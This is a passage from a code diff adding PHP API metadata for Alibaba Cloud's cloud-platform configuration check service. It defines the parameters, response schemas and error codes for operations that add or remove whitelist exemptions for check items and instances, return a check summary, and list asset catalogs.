[ + 'description' => '检查项的ID。'."\n" + ."\n" + .'> 您可调用[ListCheckResult](~~ListCheckResult~~)接口获取检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '11', + ], + 'required' => false, + 'maxItems' => 50, + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '已废弃。', + 'type' => 'string', + 'required' => false, + 'example' => 'Deprecated', + ], + ], + [ + 'name' => 'RuleId', + 'in' => 'query', + 'schema' => [ + 'description' => '白名单规则ID。'."\n" + .'> 您可调用[ListCheckResult](~~ListCheckResult~~)接口获取白名单规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '22', + ], + ], + [ + 'name' => 'InstanceIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '需要验证的云产品实例ID集合。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项的云产品实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-uf6j8vq9l4r5ntht****', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'RemoveCheckResultWhiteListResponse', + 'description' => 'RemoveCheckResultWhiteListResponse', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '98C82076-E0D5-51DA-99F2-513F4XXXXXX', + ], + 'Code' => [ + 'description' => '请求结果代号，200表示成功。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '附加信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'Success' => [ + 'description' => '请求是否成功。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"98C82076-E0D5-51DA-99F2-513F4XXXXXX\\",\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"Success\\": true\\n}","type":"json"}]', + 'title' => '检查项取消加入白名单', + ], + 'AddCheckResultWhiteList' => [ + 'summary' => '云平台配置检查把检查项加入白名单。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '119341', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'CheckIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项ID集合。'."\n" + .'> 调用[ListCheckResult](~~ListCheckResult~~)接口获取该参数。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项ID。'."\n" + .'> 调用[ListCheckResult](~~ListCheckResult~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '152', + ], + 'required' => false, + 'maxItems' => 50, + ], + ], + [ + 'name' => 'RuleType', + 'in' => 'query', + 'schema' => [ + 'description' => '规则类型。默认**WHITE**。取值：'."\n" + .'- **WHITE**: 加白名单', + 'type' => 'string', + 'required' => false, + 'example' => 'WHITE', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '备注信息。最大65535个字节。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'InstanceIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '需要加白的云产品实例ID。多个ID使用英文逗号（,）隔开。', + 'type' => 'array', + 'items' => [ + 'description' => '需要加白的检查项的云产品实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-2ze3a5ws0mjvqwqr****', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'AddCheckResultWhiteListResponse', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '加入白名单返回结果。该字段已废弃，无需关注。', + 'type' => 'object', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C699E4E4-F2F4-58FC-A949-457FFE59****', + ], + 'RuleIds' => [ + 'description' => '生成白名单规则ID集合。', + 'type' => 'array', + 'items' => [ + 'description' => '生成白名单规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '7788', + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": 1,\\n \\"RequestId\\": \\"C699E4E4-F2F4-58FC-A949-457FFE59****\\",\\n \\"RuleIds\\": [\\n 7788\\n ]\\n}","type":"json"}]', + 'title' => '检查项加白', + ], + 'RemoveCheckInstanceResultWhiteList' => [ + 'summary' => '去除实例维度的加白状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '119345', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'CheckId', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '11', + ], + ], + [ + 'name' => 'InstanceIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '需要查询的实例ID。多个ID使用英文逗号（,）隔开。', + 'type' => 'array', + 'items' => [ + 'description' => '需要查询的实例ID。多个ID使用英文逗号（,）隔开。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-bp10nif8f6ice2qvacqu', + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'RemoveCheckInstanceResultWhiteListResponse', + 'description' => 'RemoveCheckInstanceResultWhiteListResponse', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F156EA41-8EEF-54B2-908B-EAE071XXXXXX', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPurchase', + 'errorMessage' => 'The user did not purchase this product.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F156EA41-8EEF-54B2-908B-EAE071XXXXXX\\"\\n}","type":"json"}]', + 'title' => '去除实例维度的加白状态', + ], + 'AddCheckInstanceResultWhiteList' => [ + 'summary' => '云平台配置检查以检查项下实例维度加入白名单。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '119347', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'CheckGroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项所属检查组ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cQFq20UzZ49K6gRSJD1301****', + ], + ], + [ + 'name' => 'CheckId', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项ID。'."\n" + .'> 调用[ListCheckResult](~~ListCheckResult~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '132', + ], + ], + [ + 'name' => 'InstanceIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '资产实例ID集合。', + 'type' => 'array', + 'items' => [ + 'description' => '资产实例ID。'."\n" + .'> 调用[ListCheckInstanceResult](~~ListCheckInstanceResult~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'rr-uf69i5n62hyqu****', + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + [ + 'name' => 'InstanceList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '资产实例信息集合。', + 'type' => 'array', + 'items' => [ + 'description' => '资产实例信息。', + 'type' => 'object', + 'properties' => [ + 'RegionId' => [ + 'description' => '资产所在地域。'."\n" + .'> 调用[ListCheckInstanceResult](~~ListCheckInstanceResult~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hongkong', + ], + 'InstanceId' => [ + 'description' => '资产实例ID。'."\n" + .'> 调用[ListCheckInstanceResult](~~ListCheckInstanceResult~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-wz9fdluqx20mp2x7****', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'RuleType', + 'in' => 'query', + 'schema' => [ + 'description' => '规则类型。默认**WHITE**。取值：'."\n" + .'- WHITE: 加白名单', + 'type' => 'string', + 'required' => false, + 'example' => 'WHITE', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '备注信息。最大65535个字节。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'AddCheckInstanceResultWhiteListResponse', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '加入白名单返回结果。该字段已废弃，无需关注。', + 'type' => 'object', + 'example' => 'xxx', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'ADE57832-9666-511C-9A80-B87DE2E8****', + ], + 'RuleId' => [ + 'description' => '白名单的规则ID。', + 'type' => 'string', + 'example' => '381049', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"test\\": \\"test\\",\\n \\"test2\\": 1\\n },\\n \\"RequestId\\": \\"ADE57832-9666-511C-9A80-B87DE2E8****\\",\\n \\"RuleId\\": \\"381049\\"\\n}","type":"json"}]', + 'title' => '检查项下实例维度加白', + ], + 'GetCheckSummary' => [ + 'summary' => '获取云平台配置检查总览信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号主账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '000', + ], + ], + [ + 'name' => 'Vendors', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '云厂商列表。', + 'type' => 'array', + 'items' => [ + 'description' => '所属云厂商。取值：'."\n" + ."\n" + .'- **ALIYUN**：阿里云'."\n" + .'- **TENCENT**：腾讯云'."\n" + .'- **AWS**：亚马逊云'."\n" + .'- **HUAWEICLOUD**：华为云'."\n" + .'- **MICROSOFT**：微软云', + 'type' => 'string', + 'required' => false, + 'example' => 'ALIYUN', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'IsItemStatistic', + 'in' => 'query', + 'schema' => [ + 'title' => '是否返回检查项统计信息，包括：系统已发布检查项数、用户当前已有检查项数', + 'description' => '是否返回检查项统计信息，包括：系统已发布检查项数、用户当前已有检查项数。默认**false**。取值：'."\n" + .'- **true**：返回'."\n" + .'- **false**：不返回', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + ], + [ + 'name' => 'TaskSources', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '任务来源列表。', + 'type' => 'array', + 'items' => [ + 'description' => '任务来源。取值：'."\n" + .'- **YAO_CHI**：瑶池控制台。', + 'type' => 'string', + 'required' => false, + 'example' => 'YAO_CHI', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'GetCheckSummaryResponse', + 'description' => '返回对象', + 'type' => 'object', + 'properties' => [ + 'Summarys' => [ + 'description' => '总览返回值。', + 'type' => 'array', + 'items' => [ + 'description' => '返回值单项', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '检查项类型。包括：'."\n" + ."\n" + .'- **COMPLIANCE**： 合规'."\n" + .'- **RISK**：安全风险'."\n" + .'- **IDENTITY_PERMISSION**： 身份权限', + 'type' => 'string', + 'example' => 'IDENTITY_PERMISSION', + ], + 'PassCount' => [ + 'description' => '通过检查的检查项个数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10', + ], + 'FailCount' => [ + 'description' => '检查到的风险项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'Standards' => [ + 'description' => '检查项的标准输出。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项的标准输出。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'ShowName' => [ + 'description' => '检查项名称。', + 'type' => 'string', + 'example' => '身份权限管理', + ], + 'PassCount' => [ + 'description' => '通过检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'FailCount' => [ + 'description' => '未通过检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RiskLevelHighCount' => [ + 'description' => '风险等级为**高危**的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RiskLevelMediumCount' => [ + 'description' => '风险等级为**中危**的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RiskLevelLowCount' => [ + 'description' => '风险等级为**低危**的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'StandardStatistic' => [ + 'description' => '标准的风险统计信息。', + 'type' => 'object', + 'properties' => [ + 'PassCount' => [ + 'description' => '通过检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'PassLowCount' => [ + 'description' => '通过的级别为低危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PassMediumCount' => [ + 'description' => '通过的级别为中危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PassHighCount' => [ + 'description' => '通过的级别为高危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NotPassCount' => [ + 'description' => '未通过检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'NotPassLowCount' => [ + 'description' => '未通过的级别为低危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NotPassMediumCount' => [ + 'description' => '未通过的级别为中危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NotPassHighCount' => [ + 'description' => '未通过的级别为高危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NotCheckCount' => [ + 'description' => '未检查的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'NotCheckLowCount' => [ + 'description' => '未检查的级别为低危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NotCheckMediumCount' => [ + 'description' => '未检查的级别为中危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NotCheckHighCount' => [ + 'description' => '未检查的级别为高危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + 'TypeStatistic' => [ + 'description' => '风险类别的风险统计信息。', + 'type' => 'object', + 'properties' => [ + 'PassCount' => [ + 'description' => '通过检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'PassLowCount' => [ + 'description' => '通过的级别为低危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PassMediumCount' => [ + 'description' => '通过的级别为中危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PassHighCount' => [ + 'description' => '通过的级别为高危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NotPassCount' => [ + 'description' => '未通过检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'NotPassLowCount' => [ + 'description' => '未通过的级别为低危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NotPassMediumCount' => [ + 'description' => '未通过的级别为中危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NotPassHighCount' => [ + 'description' => '未通过的级别为高危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NotCheckCount' => [ + 'description' => '未检查的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'NotCheckLowCount' => [ + 'description' => '未检查的级别为低危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NotCheckMediumCount' => [ + 'description' => '未检查的级别为中危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NotCheckHighCount' => [ + 'description' => '未检查的级别为高危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + 'OverallStatistic' => [ + 'description' => '整体风险统计信息。', + 'type' => 'object', + 'properties' => [ + 'PassCount' => [ + 'description' => '通过检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'PassLowCount' => [ + 'description' => '通过的级别为低危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PassMediumCount' => [ + 'description' => '通过的级别为中危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PassHighCount' => [ + 'description' => '通过的级别为高危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NotPassCount' => [ + 'description' => '未通过检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'NotPassLowCount' => [ + 'description' => '未通过的级别为低危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NotPassMediumCount' => [ + 'description' => '未通过的级别为中危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NotPassHighCount' => [ + 'description' => '未通过的级别为高危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NotCheckCount' => [ + 'description' => '未检查的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'NotCheckLowCount' => [ + 'description' => '未检查的级别为低危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NotCheckMediumCount' => [ + 'description' => '未检查的级别为中危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NotCheckHighCount' => [ + 'description' => '未检查的级别为高危的检查项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '843E4805-****-7EE12FA8DBFD', + ], + 'OverallItemStatistic' => [ + 'description' => '检查项数相关统计信息。', + 'type' => 'object', + 'properties' => [ + 'ResultCount' => [ + 'title' => '用户当前已有检查项数', + 'description' => '用户当前已有检查项数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '25', + ], + 'ReleaseCount' => [ + 'title' => '系统已发布检查项数', + 'description' => '系统已发布检查项数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '620', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Summarys\\": [\\n {\\n \\"Type\\": \\"IDENTITY_PERMISSION\\",\\n \\"PassCount\\": 10,\\n \\"FailCount\\": 5,\\n \\"Standards\\": [\\n {\\n \\"Id\\": 1,\\n \\"ShowName\\": \\"身份权限管理\\",\\n \\"PassCount\\": 1,\\n \\"FailCount\\": 1,\\n \\"RiskLevelHighCount\\": 1,\\n \\"RiskLevelMediumCount\\": 1,\\n \\"RiskLevelLowCount\\": 1,\\n \\"StandardStatistic\\": {\\n \\"PassCount\\": 3,\\n \\"PassLowCount\\": 1,\\n \\"PassMediumCount\\": 1,\\n \\"PassHighCount\\": 1,\\n \\"NotPassCount\\": 3,\\n \\"NotPassLowCount\\": 1,\\n \\"NotPassMediumCount\\": 1,\\n \\"NotPassHighCount\\": 1,\\n \\"NotCheckCount\\": 3,\\n \\"NotCheckLowCount\\": 1,\\n \\"NotCheckMediumCount\\": 1,\\n \\"NotCheckHighCount\\": 1\\n }\\n }\\n ],\\n \\"TypeStatistic\\": {\\n \\"PassCount\\": 3,\\n \\"PassLowCount\\": 1,\\n \\"PassMediumCount\\": 1,\\n \\"PassHighCount\\": 1,\\n \\"NotPassCount\\": 3,\\n \\"NotPassLowCount\\": 1,\\n \\"NotPassMediumCount\\": 1,\\n \\"NotPassHighCount\\": 1,\\n \\"NotCheckCount\\": 3,\\n \\"NotCheckLowCount\\": 1,\\n \\"NotCheckMediumCount\\": 1,\\n \\"NotCheckHighCount\\": 1\\n }\\n }\\n ],\\n \\"OverallStatistic\\": {\\n \\"PassCount\\": 3,\\n \\"PassLowCount\\": 1,\\n \\"PassMediumCount\\": 1,\\n \\"PassHighCount\\": 1,\\n \\"NotPassCount\\": 3,\\n \\"NotPassLowCount\\": 1,\\n \\"NotPassMediumCount\\": 1,\\n \\"NotPassHighCount\\": 1,\\n \\"NotCheckCount\\": 3,\\n \\"NotCheckLowCount\\": 1,\\n \\"NotCheckMediumCount\\": 1,\\n \\"NotCheckHighCount\\": 1\\n },\\n \\"RequestId\\": \\"843E4805-****-7EE12FA8DBFD\\",\\n \\"OverallItemStatistic\\": {\\n \\"ResultCount\\": 25,\\n \\"ReleaseCount\\": 620\\n }\\n}","type":"json"}]', + 'title' => '云平台配置获取检查总览', + ], + 'ListInstanceCatalog' => [ + 'summary' => '云平台配置检查资产和子资产列表查询接口。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'enumValueTitles' => [ + 'en' => 'en', + 'zh' => 'zh', + ], + 'example' => 'zh', + ], + ], + [ + 'name' => 'RegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的实例所在地域的ID。取值：'."\n" + ."\n" + .'- **cn-hangzhou**：中心'."\n" + .'- **ap-southeast-1**：新加坡', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'Types', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查标准所属类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查标准所属类型。取值：'."\n" + ."\n" + .'- **RISK**： 阿里云最佳安全实践'."\n" + .'- **COMPLIANCE**：CIS合规'."\n" + .'- **IDENTITY_PERMISSION**：身份权限管理', + 'type' => 'string', + 'required' => false, + 'example' => 'RISK', + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'StandardIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '标准ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '标准ID列表。'."\n" + ."\n" + .'> 您可调用[ListCheckStandard](~~ListCheckStandard~~)接口获取标准ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '2', + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'RequirementIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '条例ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '条例ID列表。'."\n" + ."\n" + .'> 您可调用[ListCheckStandard](~~ListCheckStandard~~)接口获取条例ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '27', + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'OnlyCustom', + 'in' => 'query', + 'schema' => [ + 'description' => '过滤支持自定义检查的资产。取值：'."\n" + ."\n" + .'- **true**：过滤支持自定义检查的资产。'."\n" + .'- **false**：所有检查资产，默认值。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'TaskSources', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '任务来源列表。', + 'type' => 'array', + 'items' => [ + 'description' => '任务来源。取值：'."\n" + ."\n" + .'- **YAO_CHI**：瑶池控制台。', + 'type' => 'string', + 'required' => false, + 'example' => 'YAO_CHI', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'GetCheckConfigResponse', + 'description' => 'GetCheckConfigResponse', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0D42A83F-CE33-5F54-A5AE-05DA39F59E1B', + ], + 'Vendors' => [ + 'description' => '根据厂商分类的资产分类列表。', + 'type' => 'array', + 'items' => [ + 'description' => '根据厂商分类的资产分类。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '厂商类型名称。', + 'type' => 'string', + 'example' => 'ALIYUN', + ], + 'InstanceTypes' => [ + 'description' => '资产类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '资产类型。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '资产类型名称。', + 'type' => 'string', + 'example' => 'ECS', + ], + 'InstanceSubTypes' => [ + 'description' => '资产子类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '资产子类型。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '资产子类型名称。', + 'type' => 'string', + 'example' => 'SECURITY_GROUP', + ], + 'Value' => [ + 'description' => '资产子类型ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + 'Value' => [ + 'description' => '资产类型ID。取值：'."\n" + ."\n" + .'- **0**：云服务器 ECS'."\n" + .'- **1**：负载均衡'."\n" + .'- **3**：云数据库 RDS'."\n" + .'- **4**：云数据库 MongoDB 版'."\n" + .'- **5**：云数据库 Tair（兼容 Redis）'."\n" + .'- **6**：容器镜像服务'."\n" + .'- **8**：容器服务Kubernetes版'."\n" + .'- **9**：专有网络VPC'."\n" + .'- **11**：操作审计'."\n" + .'- **12**：CDN'."\n" + .'- **13**：数字证书管理服务（原SSL证书）'."\n" + .'- **14**：云效'."\n" + .'- **15**：访问控制'."\n" + .'- **16**：DDoS防护'."\n" + .'- **17**：Web应用防火墙'."\n" + .'- **18**：对象存储'."\n" + .'- **19**：云原生关系型数据库 PolarDB'."\n" + .'- **20**：云数据库 PostgreSQL 版'."\n" + .'- **21**：微服务引擎'."\n" + .'- 